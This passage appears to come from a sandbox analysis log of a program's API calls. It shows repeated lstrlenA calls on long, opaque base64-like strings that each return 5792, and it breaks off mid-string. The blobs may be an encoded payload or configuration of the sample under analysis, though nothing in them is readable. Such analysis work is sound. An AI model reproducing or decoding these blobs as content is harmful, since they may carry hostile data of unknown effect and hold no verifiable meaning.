W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA (lpString="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